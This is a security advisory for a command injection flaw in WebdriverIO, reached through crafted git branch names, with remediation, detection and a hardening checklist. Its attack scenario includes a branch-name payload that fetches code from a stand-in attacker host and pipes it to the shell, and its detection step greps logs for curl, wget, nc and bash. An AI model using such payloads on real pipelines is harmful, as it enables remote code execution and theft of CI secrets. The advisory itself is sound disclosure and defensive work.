CVE-2026-25244 — WebdriverIO Command Injection RCE via Git Branch Names

Executive Summary

A command injection vulnerability (CVE-2026-25244) has been disclosed in WebdriverIO, a widely used open-source test automation framework for unit, end-to-end, and component testing. Versions below 9.24.0 are affected. When running test orchestration workflows, WebdriverIO fails to sanitize git branch names, allowing an attacker who can influence the branch name to inject shell metacharacters that are executed by the host operating system — resulting in remote code execution (RCE).

CVSS Score: 9.8 (Critical) CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Development teams using WebdriverIO in automated CI/CD pipelines are particularly exposed, as these environments typically run with broad permissions and may interact with attacker-controlled repositories.

Vulnerability Overview

Affected Products

Technical Analysis

Root Cause

WebdriverIO's test orchestration layer uses git branch name information during test execution workflows. Git permits branch names that include shell metacharacters such as backticks, dollar signs, semicolons, pipes, and parentheses. When WebdriverIO processes these branch names without adequate sanitization, they are interpolated directly into shell commands — a classic OS command injection pattern.

Three compounding factors contribute to exploitability:

1. No input sanitization on git branch name input before shell usage
2. Direct shell interpolation rather than using safe parameterised subprocess APIs
3. No schema validation to reject branch names containing shell-dangerous characters

Attack Scenario

An attacker capable of controlling the git branch name in a repository being tested can craft a branch name such as:

feature/$(curl attacker.example.com/payload | sh)

When WebdriverIO processes this branch name during test orchestration, the embedded command is executed by the shell with the privileges of the test runner process. In typical CI/CD pipelines, this may include:

• Access to environment variables containing secrets (API keys, tokens, credentials)
• Read/write access to the build workspace
• Ability to exfiltrate artifacts, inject backdoors, or pivot to downstream systems

Why This Is High Impact in CI/CD

CI/CD test runners routinely have access to:

• Repository secrets and deployment credentials
• Cloud provider API tokens
• Package registry credentials (npm, PyPI, Docker Hub)
• Production deployment pipelines

A successful injection attack during test execution can compromise an entire software supply chain without ever touching production systems directly.

Impact Assessment

Immediate Remediation

Step 1: Upgrade WebdriverIO

The vulnerability is fixed in WebdriverIO 9.24.0. Update immediately:

# Check current installed version
npx wdio --version
 
# Update via npm
npm update @wdio/cli
 
# Or update to latest
npm install @wdio/cli@latest
 
# Verify the updated version
npx wdio --version

Step 2: Audit CI/CD Pipeline Inputs

Review all pipelines that invoke WebdriverIO to identify whether branch names from external sources (pull requests from forks, external contributors) are used as input:

# Search for wdio invocations in CI config files
grep -r "wdio" .github/workflows/ .gitlab-ci.yml Jenkinsfile 2>/dev/null
 
# Check if branch name is passed to test commands
grep -r "GITHUB_HEAD_REF\|CI_COMMIT_BRANCH\|BRANCH_NAME" .github/workflows/

Step 3: Harden Branch Name Handling (Defense-in-Depth)

As a defence-in-depth measure, validate branch names against an allowlist pattern before using them in any shell context:

// Validate branch name before use — allowlist pattern
const safeBranch = /^[a-zA-Z0-9._/-]+$/;
if (!safeBranch.test(branchName)) {
  throw new Error(`Unsafe branch name rejected: ${branchName}`);
}

Step 4: Review Fork PR Permissions in CI

For GitHub Actions specifically, restrict permissions for pull requests from forks to prevent untrusted code from accessing secrets:

# .github/workflows/test.yml
on:
  pull_request:
    # Use pull_request_target carefully, or restrict fork PR access
permissions:
  contents: read
  # Avoid exposing secrets to fork PRs

Detection Indicators

# Monitor for suspicious child processes during CI runs
# In Linux environments, watch for unusual exec calls
auditd -a always,exit -F arch=b64 -S execve -k wdio-exec-monitor
 
# Check recent CI run logs for unexpected network calls
grep -E "(curl|wget|nc |bash -[ci])" ci-run.log

Post-Remediation Checklist

1. Upgrade all WebdriverIO installations to 9.24.0 or later
2. Rotate any CI/CD secrets that may have been exposed in test environments running vulnerable versions
3. Audit recent CI build logs for signs of anomalous command execution
4. Restrict fork PR access to secrets in GitHub Actions and equivalent platforms
5. Validate branch names in any custom scripts that invoke git before shell interpolation
6. Document the remediation in your vulnerability management system

References

• NVD — CVE-2026-25244
• WebdriverIO — Release Notes v9.24.0
• CWE-78 — Improper Neutralization of Special Elements used in an OS Command
• OWASP — Command Injection